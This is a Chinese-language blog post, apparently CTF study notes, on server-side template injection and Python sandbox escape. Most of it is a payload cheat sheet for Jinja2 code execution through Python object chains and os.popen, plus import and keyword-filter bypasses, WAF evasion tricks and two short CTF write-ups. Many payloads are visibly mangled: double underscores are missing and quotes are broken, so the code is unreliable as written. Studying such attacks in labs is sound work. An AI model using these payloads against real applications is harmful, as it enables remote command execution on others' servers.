1090 字
5 分钟
SSTI与python沙箱逃逸

模板注入漏洞#

一. 模板注入概念#

模板注入发生在用户输入未经过严格过滤直接进入模板渲染时。根据模板语言不同,可能导致:

  • 信息泄露:变量、配置、环境

  • 远程代码执行(RCE):调用系统命令、执行任意函数

核心思路:

  1. 模板解析用户输入 → 执行表达式

  2. 枚举可访问对象/类 → 找到执行函数

  3. 构造链条 → 执行命令


二,实战测试流程#

1.确认 SSTI 存在#

{{7*7}} 返回 49 ->Jinja2/Twing

{{7*‘7’}} 返回 7777 ->Jinja2

${7*7} 返回 49 ->ERB(ruby)

#{7*7} 49 ->ruby

确认 Jinja2

{{config}} 返回配置对象 Flask/Jinja2

{{self}} 返回

通过 python 对象继承链爬到 objectt 再找可用子类

任意对象—>class(找到对象的类)—>mro(继承链上的所有类)/base(直接父类)—>object(拿到最终父类)—>subclasses()(拿到父类下的所有子类—>找到可利用的,可执行命令的子类

三,核心 Payload#

基础链

”.class #<class ‘str’>

”.class.mro #(str,object)

”.class.mro[-1] #<class ‘object’>

”.class.mro[-1].subclass() #object 所有子类

Jinjia2 中返回一个列表,包含所有子类

寻找目标类:

subclass=”.class.mro[-1].subclass()

for i,cls in enumerate(subclasses):

print(i,cls)

常见利用类:

目标类名用途
文件读取file(py2,py3 不存在)读取任意文件
命令执行subprocess.Popen执行系统命令
命令执行os._wrap_close通过 init 的 globals 拿到 os
代码执行warning.catch_warnings拿到 builtins

payload 模板

python2 读文件

{{”.class.mro[-1].subclass()40.read()}}

python 3 命令执行:

找到 os._wrap_close,通过 init.globals 拿到 os模块#

{{”.class.mro[-1].subclasses()[ 索引 ].init.globals[‘os’].popen(‘id’).read()}}

#init:类的初始化方法,是一个函数对象

#globals 函数对象的全局命名空间,获取该函数定义时的全局变量

通过 builtins 执行:

找 warnings.catch_warnings#

{{”.class.mro[-1].subclasses()索引._module.builtins’import’.popen(‘id’).read()}}

#_module 某些 python 内部类的属性,指向所属模块对象

#builtins 内置命名空间

lipsum 全局变量链(CTF 最常用):

{{lipsum.globals[‘os’].popen(‘id’).read()}}

{{lipsum.globals[‘builtins’]‘eval’}

#lipsum:Jinjia2 内置全局函数

三,Python 沙箱逃逸#

沙箱通常限制什么:

1.禁止 import os/subclass/commands

2.删除 builtins 中的危险函数

3.过滤关键字(import/os/system)

4.限制 sys.modules

逃逸路径:

1:绕过 import 关键字过滤

#import 直接调用

import(‘os’).system(‘id’)

#编码绕过

import(“pbzznaqf”.decode(‘rot_13’))# ‘commands’

#importlib

importlib.import_module(‘os’).system(‘id’)

#builtins

builtins.import(‘os’).system(‘id’)

2.builtins 被删除后回复

#如果 reload 还在

reload(builtins)

#reload 被删除

import imp

imp.reload(builtin)

3.sys.modules 被清空后绕过

#直接 execfile 加载 os.py 源文件(py2)

execfile(‘/usr/lib/python2.7/os.py’)

system(‘id’)

#恢复 sys.modules 中的 os

sys.modules[‘os’]=‘/usr/lib/python2.7/os.py’

import os

4.通过 dict 和 getattr 绕过字符串过滤

#字符串反转

s=“metsys”

getattr(os,s[::-1])(‘is’) #os.system(‘id’)

#rot13 编码

import codecs

getattr(os,codecs.encode(“flfgrz”,‘rot13’))(‘id) #os.system(id)

#base

import base64

getattr(os,base64.b64decode(‘c3lzdGVt’))(‘id’)

5.MRO 子类链

#file 类 py2

”.class.mro[-1].subclass()

#找 subprocess

”.class.mro[-1].subclasses()N.communicate()

Popen([‘id’],stdout=-1).communicate()创建子进程并执行命令 id,将输出重定向到管道,.communicate() 等待进程结束,返回 (stdout, stderr) 元组

7.func_code /字节码

#通过函数的 code object 拿到常量

#适用于沙箱允许定义函数但过滤了字符串

def f

f.code.co_consts #查看函数中的常量

五,waf 绕过#

1.下划线被过滤#

#用 request.args 传参(Flask)

{{request.args.c}}&c=class#get 传参 c=class

#attr 过滤器

{{”|attr(‘class’)}}

{{”|attr(request.args.c}}&c=class

{{ object|attr(“attribute_name”) }} attr 需要点号或下划线就能获取对象属性

2.点号被过滤#

#用 [] 代替

{{”[‘class’]}}

{{”|attr(‘class’)}}

3.关键字被过滤#

#字符串拼接

{{”[‘cla’~‘ss’]}}#Jinjia2

{{”[‘cla+ss’]}}

#使用 request.args 传入

{{”[request.args.a][request.args.b][-1]request.args.c}}

&a=class&b=mro&c=subclass

4.数字被过滤#

#用 pop()或 next()

{{”.class.mro.getitem__(-1)

做两道题试试

发现进不去,被重定向了,观察页面输出error,同时url地址中有msg=Error的信息,猜测此处就是注入点,使用payload:{{5*6}},返现页面返回orz,不是预料中的30,应该是被过滤导致

用了两个常规链子和绕过手段都没成功,查看资料发现tornado可以用headler.settings方式查看敏感信息

成功拿到cookie,再进行一下md加工,再次访问flllllag成功拿到flag

进去发现源码贴脸上了

抓包一下,代码看得更清楚一点,发现小括号被过滤掉,config,self等被禁用

因为题目写的是flask,查看一下flask模板有什么可利用的点,发现存在以下可利用函数

  • url_for():用于生成URL,通过指定视图函数名称和任何必要的参数

  • redirect():返回一个302重定向响应,将用户引导到另一个页面或路由

  • render_template(): 渲染模板并返回HTML内容

  • flash():用于给下一个请求发送一次性消息(闪现消息)

  • abort():立即终止当前请求,并返回给定的状态码或HTTP异常

  • make_response():创建一个响应对象

  • jsonify():将Python字典转换为JSON格式的响应体,并设置适当的Content-Type头部

  • 构造payload:

{{url_for.__globals__["current_app"].config}}

然后成功拿到flag.

SSTI与python沙箱逃逸
https://lab404.cn/posts/ssti-python-sandbox/
作者
见山
发布于
2025-11-20
许可协议
CC BY-NC-SA 4.0